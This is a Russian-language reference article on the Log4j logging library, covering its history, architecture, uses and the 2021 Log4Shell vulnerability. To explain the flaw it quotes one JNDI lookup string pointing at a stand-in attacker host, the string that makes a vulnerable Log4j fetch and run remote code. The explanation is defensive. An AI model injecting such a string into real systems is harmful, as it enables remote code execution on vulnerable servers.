Введение
Log4j – библиотека логирования с открытым исходным кодом для языка Java, разрабатываемая в рамках проекта Apache Software Foundation. Она является частью более широкого семейства инструментов – Apache Logging Services – и считается стандартом де-факто для ведения журналов событий в Java-приложениях. Библиотека предоставляет богатый API для категоризации сообщений по уровням серьёзности, гибкой маршрутизации вывода и форматирования журналов.
В декабре 2021 года имя Log4j приобрело мрачную известность в связи с обнаружением критической уязвимости удалённого выполнения кода (RCE) Log4Shell (CVE-2021-44228), затронувшей сотни миллионов Java-приложений по всему миру.
История и контекст
Log4j был создан Чеки Гюлькю (Ceki Gülcü) в конце 1990-х годов и передан в Apache Software Foundation в 2001 году. Версия 1.x достигла широкого распространения к 2004 году. В 2015 году Apache выпустила Log4j 2 – полностью переработанную версию с улучшенной производительностью и поддержкой асинхронного логирования.
9 декабря 2021 года была опубликована информация об уязвимости Log4Shell: специально сформированная строка в логируемых данных позволяла выполнить произвольный код через механизм JNDI Lookup. CVSS-оценка уязвимости составила 10 из 10 – максимально возможное значение. Уязвимость затронула Apache Struts, VMware, Apple iCloud, Steam, Minecraft и тысячи корпоративных систем.
Как это работает
Архитектура Log4j 2 строится на трёх ключевых компонентах:
- Logger: именованный канал для записи сообщений; организован иерархически по именам пакетов Java.
- Appender: получатель лог-сообщений (файл, консоль, база данных, сетевой сокет, Kafka).
- Layout: форматировщик вывода (PatternLayout, JSONLayout, XMLLayout).
Уязвимость Log4Shell эксплуатировала функциональность Message Lookup Substitution: при логировании строки вида ${jndi:ldap://attacker.com/a} Log4j выполнял JNDI-запрос к внешнему серверу, получая и исполняя произвольный Java-код. Патч (версия 2.15.0+) отключил данную функциональность по умолчанию.
Где применяется
- Корпоративные Java-приложения на серверах приложений (JBoss, WebLogic, Tomcat).
- Big Data платформы (Hadoop, Kafka, Elasticsearch используют Log4j как зависимость).
- Микросервисы на базе Spring Boot – через зависимость от SLF4J/Log4j 2.
- Android-приложения (до перехода на Logcat).
Преимущества и ограничения
Преимущества Log4j 2: высокая производительность (асинхронные логгеры на базе LMAX Disruptor), гибкая конфигурация через XML/JSON/YAML, поддержка Lambda-выражений, богатая экосистема плагинов.
Ограничения: сложность конфигурации для новичков; история с Log4Shell показала, что скрытые возможности (JNDI lookup) могут создавать серьёзные риски; в ряде случаев предпочтительнее более простые альтернативы (Logback, java.util.logging).
Связь с другими понятиями
Log4j является реализацией фасада SLF4J (Simple Logging Facade for Java) и тесно связан с концепцией лог-файлов как источника данных для Observability-платформ. Уязвимость Log4Shell стала показательным примером supply chain attack и дала импульс развитию инструментов анализа состава ПО (SBOM) и управления уязвимостями в компонентах с открытым кодом.